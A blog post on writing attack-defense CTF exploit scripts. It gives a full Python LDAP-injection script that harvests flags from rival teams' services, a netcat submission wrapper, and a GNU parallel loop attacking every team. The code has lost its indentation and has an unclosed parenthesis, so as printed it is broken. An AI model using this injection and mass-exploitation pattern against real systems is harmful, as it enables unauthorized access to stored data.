Crosspost from Rants, Ideas, Stuff.
90% of the time I write my (or other people’s) exploits in Python. I try to
structure my code in small easy to read methods. Like every developer does 😉 Every exploit has at least one method which is called in a __name__ == '__main__'
block, so it can be imported from other files.
Because most of the time every team has a vulnbox with an ip address that contains its team number, my exploit scripts get the team number as an argument.
Here’s one of the exploit scripts from the last CTF. It does a HTTP GET with prepared parameters and reads flags from the resulting HTML. It’s a quick and dirty solution to a small problem. During a CTF pretty much every minute counts. Quick and dirty wins over great craftsmanship.
#!/usr/bin/env python
import sys
import re
from io import BytesIO
import requests
from pyquery import PyQuery as pq
from lxml import etree
import base64
def get_flags(ip, port):
url = 'http://%s:%s' % (ip, port)
params={
'action':'info',
'name':'*',
'surname':'*)(|(cn=* *',
'password':'a)'
}
sys.stderr.write("Fetching...\n")
try:
r = requests.get(url, params=params, timeout=1)
except Exception, e:
sys.stderr.write("%s\n" % e)
sys.exit(1)
sys.stderr.write("done\n")
content = BytesIO(r.content)
parser = etree.HTMLParser()
tree = etree.parse(content, parser)
d = pq(etree.fromstring(etree.tostring(tree.getroot())))
for e in d('.password'):
for x in e:
try:
flag = base64.standard_b64decode(x.tail)
if re.match(r"^\w{31}=$", flag):
yield flag
except Exception:
# YOLO let's just move on!
pass
def main():
ip = '10.23.%s.2' % sys.argv[1]
port = 8000
sys.stdout.write('?s contacts\n')
sys.stdout.write('?t %s\n' % sys.argv[1]
flags = [flag for flag in get_flags(ip, port)]
if len(flags) > 0:
flags.reverse()
for flag in flags[0:10]:
sys.stdout.write('%s\n' % flag)
if __name__ == '__main__':
main()
Some basic tips:
- Your script should have sane timeouts. Waiting to long for a team’s service that isn’t available doesn’t help.
- Crash early. Single flags aren’t worth too much most of the time.
- Write flags to STDOUT and logging to STDERR. STDOUT can then be redirected to a flag submitting script.
- Keep everything as simple as possible.
Submitting the resulting flags is handled by the WoD submit framework with which a surrounding shell script “talks” via netcat:
#!/bin/bash
./exploit.py $1 | nc 10.23.23.23 1337
Parallelization is then done via GNU parallel:
while true; do parallel -j 50 ./exploit.sh {1} ::: $(seq 1 127); done
The -j
parameter tells parallel
how many parallel executions should be done.
{1}
is the first argument.
:::
introduces an argument block. With ::::
a argument file can be passed. So if it’s possible to determine if the exploited service of a team is currently up it would be good to write a script, that determines all exploitable teams and only pass those to parallel. Multiple :::
and ::::
blocks can be given and mixed. A parallel run with a script that takes a port as a second parameter might look like this: parallel -j 10 ./exploit.sh {1} {2} ::: $(./get-exploitable-teams.sh) ::: 8080 8081
Let’s say get-exploitable-teams
returns 1 5 6
. The resulting parallel executions of exploit.sh
would be:
./exploit.sh 1 8080
./exploit.sh 1 8081
./exploit.sh 5 8080
./exploit.sh 5 8081
./exploit.sh 6 8080
./exploit.sh 6 8081
Thanks for reading,
Zoran